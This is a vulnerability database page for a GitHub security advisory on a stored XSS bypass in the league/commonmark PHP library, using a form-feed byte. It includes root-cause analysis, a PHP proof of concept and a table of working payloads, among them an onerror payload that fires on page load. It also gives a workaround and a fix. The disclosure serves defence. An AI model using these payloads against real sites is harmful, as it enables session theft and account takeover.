GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-F8FG-PG57-V4J8

Vulnerability from github – Published: 2026-09-01 20:18 – Updated: 2026-09-01 20:18
VLAI
Summary
league/commonmark XSS: `on*` event-handler filter in `AttributesExtension` bypassed with a U+000C form feed
Details

Summary

The AttributesExtension documents a security guarantee:

Note: Attributes starting with on (e.g. onclick or onerror) are capable of executing JavaScript code and are therefore never allowed by default. You must explicitly add them to the allow list if you want to use them.

docs/2.x/extensions/attributes.md

Prefixing the attribute name with a single U+000C FORM FEED byte defeats that guarantee. {<FF>onclick="alert(1)"} passes through AttributesHelper::filterAttributes() untouched and is written verbatim into the output, where browsers parse it as a genuine onclick handler.

The same prefix defeats the allow_unsafe_links check, letting a javascript: URI through on href / src even when allow_unsafe_links is false.

This bypasses the fix shipped in the 2.7.0 security release ("Fix XSS in AttributesExtension", 43207253ea5f14867c77c697cd3838c446cadcea), which added filterAttributes() for the express purpose of blocking these attributes.

Throughout this report <FF> denotes a literal U+000C byte ("\x0C" in PHP). It is invisible in rendered text, so all payloads below are written with PHP escape sequences to stay unambiguous.

Details

Three behaviours combine.

1. \x0C survives the parser's trim().

AttributesHelper::SINGLE_ATTRIBUTE begins with \s*, and Cursor::match() returns $matches[0][0] — the entire match, including that leading whitespace. The result is cleaned with PHP's trim():

// src/Extension/Attributes/Util/AttributesHelper.php:62
while ($attribute = \trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'))) {

PCRE \s matches \x0C, but PHP's default trim() charlist is " \t\n\r\0\x0B" — it includes the vertical tab \x0B but not the form feed \x0C. The byte is therefore consumed by the regex, retained in the returned match, and not stripped. It ends up inside the attribute name:

// src/Extension/Attributes/Util/AttributesHelper.php:94
$attributes[\trim($name)] = \trim($value);   // $name === "\x0Conclick"

\x0C is the only byte with this property: every other character the HTML5 tokenizer treats as whitespace (\x09, \x0A, \x0D, \x20), plus \x0B, is in PHP's trim charlist. The PoC includes a \x0B case as a control, and it is correctly stripped.

2. The filter's string comparisons miss it.

filterAttributes() compares the raw name against literal strings:

// src/Extension/Attributes/Util/AttributesHelper.php:148-166
$attrNameLower = \strtolower($name);                            // "\x0conclick"
... ($attrNameLower === 'href' || $attrNameLower === 'src') ... // false
... \str_starts_with($attrNameLower, 'on') ...                  // false -> not removed

3. The renderer never escapes attribute names.

// src/Util/HtmlElement.php:123-129
$result .= ' ' . $key . '="' . Xml::escape($value) . '"';   // $key emitted raw

Because the HTML5 tokenizer treats \x0C as whitespace between attributes, the browser reads the name as plain onclick.

PoC

<?php
require 'vendor/autoload.php';

use League\CommonMark\Environment\Environment;
use League\CommonMark\Extension\Attributes\AttributesExtension;
use League\CommonMark\Extension\CommonMark\CommonMarkCoreExtension;
use League\CommonMark\MarkdownConverter;

// The most defensive configuration docs/2.x/security.md recommends.
$env = new Environment([
    'html_input'         => 'escape',
    'allow_unsafe_links' => false,
    'max_nesting_level'  => 100,
    // 'attributes' => ['allow' => [...]] deliberately left at its default []
]);
$env->addExtension(new CommonMarkCoreExtension());
$env->addExtension(new AttributesExtension());
$converter = new MarkdownConverter($env);

$FF = "\x0C";

echo $converter->convert('hello {onclick="alert(1)"}')->getContent();
// <p>hello</p>                                    <- filtered, as documented

echo $converter->convert('hello {' . $FF . 'onclick="alert(1)"}')->getContent();
// <p \x0Conclick="alert(1)">hello</p>             <- BYPASS

Full observed output (\x0C shown escaped; it is a literal single byte in the real output):

# Markdown input Rendered output Result
A hello {onclick="alert(1)"} <p>hello</p> filtered (control)
B hello {\x0Conclick="alert(1)"} <p \x0Conclick="alert(1)">hello</p> bypass
C hello {\x0Bonclick="alert(1)"} <p>hello</p> filtered (control)
D [click](javascript:alert(1)) <p><a>click</a></p> filtered (control)
E [click](https://example.com){\x0Chref="javascript:alert(1)"} <p><a \x0Chref="javascript:alert(1)" href="https://example.com">click</a></p> bypass
F ![x](https://example.invalid/x.png){\x0Conerror="alert(1)"} <p><img \x0Conerror="alert(1)" src="…" alt="x" /></p> bypass
G # heading + newline + {\x0Conclick="alert(1)"} <h1 \x0Conclick="alert(1)">heading</h1> bypass (block syntax)

In case E the injected href precedes the legitimate one. Per the HTML5 duplicate-attribute rule the first occurrence wins, so the javascript: URI is the one the browser actually uses.

Browser confirmation. Loading the library's unmodified output in Chrome for Testing 148:

<img> attribute names : ["onerror","src","alt"]      <- parsed as a real `onerror`
typeof img.onerror    : function                     <- bound as an event handler
handlers fired        : ["img-onerror"]              <- fired on load, no interaction
document.title        : XSS-FIRED
link href attribute   : "javascript:void(0)"
link href property    : "javascript:void(0)"         <- javascript: URI is the effective href
page errors           : []

The onerror case executes with no user interaction — rendering the attacker's Markdown is sufficient.

Verified against git HEAD (f966b17a) and against tag 2.9.0, on PHP 8.5.8.

Impact

Stored cross-site scripting in any application that renders untrusted Markdown with AttributesExtension enabled and attributes.allow left at its default [] — even when the application has followed every hardening step in docs/2.x/security.md (html_input => 'escape', allow_unsafe_links => false, max_nesting_level => 100).

Consequences are the usual for stored XSS: session and cookie theft, actions performed as the viewing user, and account takeover where the host application permits it. Because the payload can be attached to an image (onerror), it fires on page load without requiring the victim to interact with anything.

The affected configuration is the extension's default: attributes.allow defaults to [], and the documentation describes that default as safe with respect to on* attributes.

Workaround for users

Setting an explicit allow list takes the other branch of filterAttributes(), which drops the form-feed name because it is not in the list:

$config = ['attributes' => ['allow' => ['id', 'class', 'align']]];

Verified: hello {\x0Conclick="alert(1)"} then renders as <p>hello</p>.

Suggested fix

The narrow fix is to add \x0C to the trim charlist at AttributesHelper.php lines 62, 89, 90 and 94. That closes this instance but leaves the shape of the problem in place.

A more durable fix is to reject anything that is not a well-formed attribute name in filterAttributes(), reusing the constant the parser already defines (RegexHelper is already imported in that file):

foreach ($attributes as $name => $value) {
    // Names are compared against literal strings below and emitted without escaping,
    // so anything that isn't a plain attribute name must not get through.
    if (\preg_match('/^' . RegexHelper::PARTIAL_ATTRIBUTENAME . '$/i', $name) !== 1) {
        unset($attributes[$name]);
        continue;
    }

    $attrNameLower = \strtolower($name);
    // ... existing logic unchanged
}

As defence in depth, HtmlElement::__toString() could validate or escape $key. It currently trusts its callers to supply safe attribute names, and filterAttributes() is the only thing standing between that method and user-supplied input.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "league/commonmark"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-86"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-01T20:18:29Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `AttributesExtension` documents a security guarantee:\n\n\u003e **Note:** Attributes starting with `on` (e.g. `onclick` or `onerror`) are capable of executing\n\u003e JavaScript code and are therefore **never allowed by default**. You must explicitly add them to\n\u003e the `allow` list if you want to use them.\n\u003e\n\u003e \u2014 `docs/2.x/extensions/attributes.md`\n\nPrefixing the attribute name with a single U+000C FORM FEED byte defeats that guarantee.\n`{\u003cFF\u003eonclick=\"alert(1)\"}` passes through `AttributesHelper::filterAttributes()` untouched and is\nwritten verbatim into the output, where browsers parse it as a genuine `onclick` handler.\n\nThe same prefix defeats the `allow_unsafe_links` check, letting a `javascript:` URI through on\n`href` / `src` even when `allow_unsafe_links` is `false`.\n\nThis bypasses the fix shipped in the **2.7.0 security release** (\"Fix XSS in AttributesExtension\",\n43207253ea5f14867c77c697cd3838c446cadcea), which added `filterAttributes()` for the express\npurpose of blocking these attributes.\n\nThroughout this report `\u003cFF\u003e` denotes a literal U+000C byte (`\"\\x0C\"` in PHP). It is invisible in\nrendered text, so all payloads below are written with PHP escape sequences to stay unambiguous.\n\n### Details\n\nThree behaviours combine.\n\n**1. `\\x0C` survives the parser\u0027s `trim()`.**\n\n`AttributesHelper::SINGLE_ATTRIBUTE` begins with `\\s*`, and `Cursor::match()` returns\n`$matches[0][0]` \u2014 the *entire* match, including that leading whitespace. The result is cleaned\nwith PHP\u0027s `trim()`:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:62\nwhile ($attribute = \\trim((string) $attributeCursor-\u003ematch(\u0027/^\u0027 . self::SINGLE_ATTRIBUTE . \u0027/i\u0027))) {\n```\n\nPCRE `\\s` matches `\\x0C`, but PHP\u0027s default `trim()` charlist is `\" \\t\\n\\r\\0\\x0B\"` \u2014 it includes\nthe vertical tab `\\x0B` but **not** the form feed `\\x0C`. The byte is therefore consumed by the\nregex, retained in the returned match, and not stripped. It ends up inside the attribute name:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:94\n$attributes[\\trim($name)] = \\trim($value);   // $name === \"\\x0Conclick\"\n```\n\n`\\x0C` is the only byte with this property: every other character the HTML5 tokenizer treats as\nwhitespace (`\\x09`, `\\x0A`, `\\x0D`, `\\x20`), plus `\\x0B`, is in PHP\u0027s trim charlist. The PoC\nincludes a `\\x0B` case as a control, and it is correctly stripped.\n\n**2. The filter\u0027s string comparisons miss it.**\n\n`filterAttributes()` compares the raw name against literal strings:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:148-166\n$attrNameLower = \\strtolower($name);                            // \"\\x0conclick\"\n... ($attrNameLower === \u0027href\u0027 || $attrNameLower === \u0027src\u0027) ... // false\n... \\str_starts_with($attrNameLower, \u0027on\u0027) ...                  // false -\u003e not removed\n```\n\n**3. The renderer never escapes attribute names.**\n\n```php\n// src/Util/HtmlElement.php:123-129\n$result .= \u0027 \u0027 . $key . \u0027=\"\u0027 . Xml::escape($value) . \u0027\"\u0027;   // $key emitted raw\n```\n\nBecause the HTML5 tokenizer treats `\\x0C` as whitespace *between* attributes, the browser reads\nthe name as plain `onclick`.\n\n### PoC\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse League\\CommonMark\\Environment\\Environment;\nuse League\\CommonMark\\Extension\\Attributes\\AttributesExtension;\nuse League\\CommonMark\\Extension\\CommonMark\\CommonMarkCoreExtension;\nuse League\\CommonMark\\MarkdownConverter;\n\n// The most defensive configuration docs/2.x/security.md recommends.\n$env = new Environment([\n    \u0027html_input\u0027         =\u003e \u0027escape\u0027,\n    \u0027allow_unsafe_links\u0027 =\u003e false,\n    \u0027max_nesting_level\u0027  =\u003e 100,\n    // \u0027attributes\u0027 =\u003e [\u0027allow\u0027 =\u003e [...]] deliberately left at its default []\n]);\n$env-\u003eaddExtension(new CommonMarkCoreExtension());\n$env-\u003eaddExtension(new AttributesExtension());\n$converter = new MarkdownConverter($env);\n\n$FF = \"\\x0C\";\n\necho $converter-\u003econvert(\u0027hello {onclick=\"alert(1)\"}\u0027)-\u003egetContent();\n// \u003cp\u003ehello\u003c/p\u003e                                    \u003c- filtered, as documented\n\necho $converter-\u003econvert(\u0027hello {\u0027 . $FF . \u0027onclick=\"alert(1)\"}\u0027)-\u003egetContent();\n// \u003cp \\x0Conclick=\"alert(1)\"\u003ehello\u003c/p\u003e             \u003c- BYPASS\n```\n\nFull observed output (`\\x0C` shown escaped; it is a literal single byte in the real output):\n\n| # | Markdown input | Rendered output | Result |\n|---|---|---|---|\n| A | `hello {onclick=\"alert(1)\"}` | `\u003cp\u003ehello\u003c/p\u003e` | filtered (control) |\n| B | `hello {\\x0Conclick=\"alert(1)\"}` | `\u003cp \\x0Conclick=\"alert(1)\"\u003ehello\u003c/p\u003e` | **bypass** |\n| C | `hello {\\x0Bonclick=\"alert(1)\"}` | `\u003cp\u003ehello\u003c/p\u003e` | filtered (control) |\n| D | `[click](javascript:alert(1))` | `\u003cp\u003e\u003ca\u003eclick\u003c/a\u003e\u003c/p\u003e` | filtered (control) |\n| E | `[click](https://example.com){\\x0Chref=\"javascript:alert(1)\"}` | `\u003cp\u003e\u003ca \\x0Chref=\"javascript:alert(1)\" href=\"https://example.com\"\u003eclick\u003c/a\u003e\u003c/p\u003e` | **bypass** |\n| F | `![x](https://example.invalid/x.png){\\x0Conerror=\"alert(1)\"}` | `\u003cp\u003e\u003cimg \\x0Conerror=\"alert(1)\" src=\"\u2026\" alt=\"x\" /\u003e\u003c/p\u003e` | **bypass** |\n| G | `# heading` + newline + `{\\x0Conclick=\"alert(1)\"}` | `\u003ch1 \\x0Conclick=\"alert(1)\"\u003eheading\u003c/h1\u003e` | **bypass** (block syntax) |\n\nIn case E the injected `href` precedes the legitimate one. Per the HTML5 duplicate-attribute rule\nthe **first** occurrence wins, so the `javascript:` URI is the one the browser actually uses.\n\n**Browser confirmation.** Loading the library\u0027s unmodified output in Chrome for Testing 148:\n\n```\n\u003cimg\u003e attribute names : [\"onerror\",\"src\",\"alt\"]      \u003c- parsed as a real `onerror`\ntypeof img.onerror    : function                     \u003c- bound as an event handler\nhandlers fired        : [\"img-onerror\"]              \u003c- fired on load, no interaction\ndocument.title        : XSS-FIRED\nlink href attribute   : \"javascript:void(0)\"\nlink href property    : \"javascript:void(0)\"         \u003c- javascript: URI is the effective href\npage errors           : []\n```\n\nThe `onerror` case executes with **no user interaction** \u2014 rendering the attacker\u0027s Markdown is\nsufficient.\n\nVerified against git HEAD (`f966b17a`) and against tag `2.9.0`, on PHP 8.5.8.\n\n### Impact\n\nStored cross-site scripting in any application that renders untrusted Markdown with\n`AttributesExtension` enabled and `attributes.allow` left at its default `[]` \u2014 even when the\napplication has followed every hardening step in `docs/2.x/security.md`\n(`html_input =\u003e \u0027escape\u0027`, `allow_unsafe_links =\u003e false`, `max_nesting_level =\u003e 100`).\n\nConsequences are the usual for stored XSS: session and cookie theft, actions performed as the\nviewing user, and account takeover where the host application permits it. Because the payload can\nbe attached to an image (`onerror`), it fires on page load without requiring the victim to\ninteract with anything.\n\nThe affected configuration is the extension\u0027s default: `attributes.allow` defaults to `[]`, and\nthe documentation describes that default as safe with respect to `on*` attributes.\n\n### Workaround for users\n\nSetting an explicit allow list takes the other branch of `filterAttributes()`, which drops the\nform-feed name because it is not in the list:\n\n```php\n$config = [\u0027attributes\u0027 =\u003e [\u0027allow\u0027 =\u003e [\u0027id\u0027, \u0027class\u0027, \u0027align\u0027]]];\n```\n\nVerified: `hello {\\x0Conclick=\"alert(1)\"}` then renders as `\u003cp\u003ehello\u003c/p\u003e`.\n\n### Suggested fix\n\nThe narrow fix is to add `\\x0C` to the trim charlist at `AttributesHelper.php` lines 62, 89, 90\nand 94. That closes this instance but leaves the shape of the problem in place.\n\nA more durable fix is to reject anything that is not a well-formed attribute name in\n`filterAttributes()`, reusing the constant the parser already defines (`RegexHelper` is already\nimported in that file):\n\n```php\nforeach ($attributes as $name =\u003e $value) {\n    // Names are compared against literal strings below and emitted without escaping,\n    // so anything that isn\u0027t a plain attribute name must not get through.\n    if (\\preg_match(\u0027/^\u0027 . RegexHelper::PARTIAL_ATTRIBUTENAME . \u0027$/i\u0027, $name) !== 1) {\n        unset($attributes[$name]);\n        continue;\n    }\n\n    $attrNameLower = \\strtolower($name);\n    // ... existing logic unchanged\n}\n```\n\nAs defence in depth, `HtmlElement::__toString()` could validate or escape `$key`. It currently\ntrusts its callers to supply safe attribute names, and `filterAttributes()` is the only thing\nstanding between that method and user-supplied input.",
  "id": "GHSA-f8fg-pg57-v4j8",
  "modified": "2026-09-01T20:18:29Z",
  "published": "2026-09-01T20:18:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-f8fg-pg57-v4j8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/commit/dfcdf4554c16aa37c15e3a5ee3243ee26147c239"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thephpleague/commonmark"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/releases/tag/2.9.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "league/commonmark XSS: `on*` event-handler filter in `AttributesExtension` bypassed with a U+000C form feed"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…